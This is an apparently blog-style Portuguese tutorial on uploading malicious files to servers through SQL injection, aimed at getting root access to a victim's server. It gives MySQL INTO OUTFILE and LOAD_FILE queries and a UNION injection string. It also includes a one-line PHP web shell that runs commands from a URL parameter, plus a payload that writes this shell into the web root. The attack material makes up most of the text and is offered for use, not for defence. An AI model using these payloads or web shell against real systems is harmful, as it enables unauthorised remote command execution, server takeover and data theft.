Como enviar um arquivo virus para um servidor com sql injection – Existem varias formas de enviar um arquivo para um servidor, porem neste caso iremos utilizar a forma do sql injection.
A maioria das pessoas sabe que a injeção SQL permite que atacantes para recuperar registros do banco de dados, passe telas de login, alterar conteudo no banco de dados, porem poucas pessoas sabem que é possivel enviar um arquivo para o servidor através do banco de dados, ou seja, caso o servidor esteja vulneravel, o atacante pode injetar um codigo malicioso para enviar um arquivo shell, virus, arquivo em geral para o servidor e atravez do mesmo ter acesso root ao servidor do auvo.
Esquecendo o metodo iniciante para passar por telas de login e senha e ter acesso ao CMS ou area restrita, agora iremos para o metodo um pouco mais avançado.

Comando 1 – INTO OUTFILE – Criar arquivo e escrever no mesmo
MySQL tem um comando embutido que pode ser usado para criar e gravar arquivos de sistema. Este comando tem o seguinte formato:
mysql> select “aqui é o texto que ficará dentro do arquivo, neste caso .TXT” INTO OUTFILE “httpdocs/pasta/arquivo.txt”.
Uma grande desvantagem deste comando é que ele pode ser adicionado a uma consulta existente usando uma  SQL para UNIÃO.
Por exemplo, pode ser anexado a seguinte consulta:
select user, password from user where user=”admin” and password=’123′ union
select “text”,2 into outfile “/tmp/file.txt” — ‘
ou seja, podemos adicionar um arquivo de modo muito facil.

Comando 2 – LOAD_FILE – ler arquivos do servidor
MySQL tem um comando interno que pode ser usado para ler arquivos arbitrários. A sintaxe é muito simples. Vamos usar este comando para o plano B.
mysql> select load_file(“path_to_file”);
Este comando arquivo que nem precisa explicar como funciona.


WEBSHELL
WebShell é uma ferramenta muito utilizada nos dias atuais.
Podemos utilizar os comandos acima para criar uma shell, sendo que nesta shell irá executar comandos a partir do navegador web. Muito usado.
Vamos criar um WebShell muito simples que irá executar comandos shell independente do sistema operacional.
Aqui está o código de uma base muito simples em PHP.
<?php echo shell_exec($_GET['cmd']); ?>
para quem não sabe ler programação, pegue um livro já e começe a ler. O comando acima está irá executar comandos a partir de codigos passados via GET, exemplo: http://www.auvo.com.br/shell.php?cmd=ls
O exemplo acima ira listar todos os arquivos e pastas do servidor.

Exploit injeção de SQL – criar web shell
Você precisa adicionar a seguinte string para o comando SQL:
UNION SELECT “<?php echo shell_exec($_GET['cmd']); ?>”, 2,3,4 INTO OUTFILE “/ var / www / html / temp / c.php” -
Algumas explicações:
• 2,3,4 são apenas qualificador que costumava fazer o mesmo número de colunas, como na primeira parte da consulta seleção.
• / var / www / html é um diretório web default nas distribuições RedHat-like (Fedora, CentOS).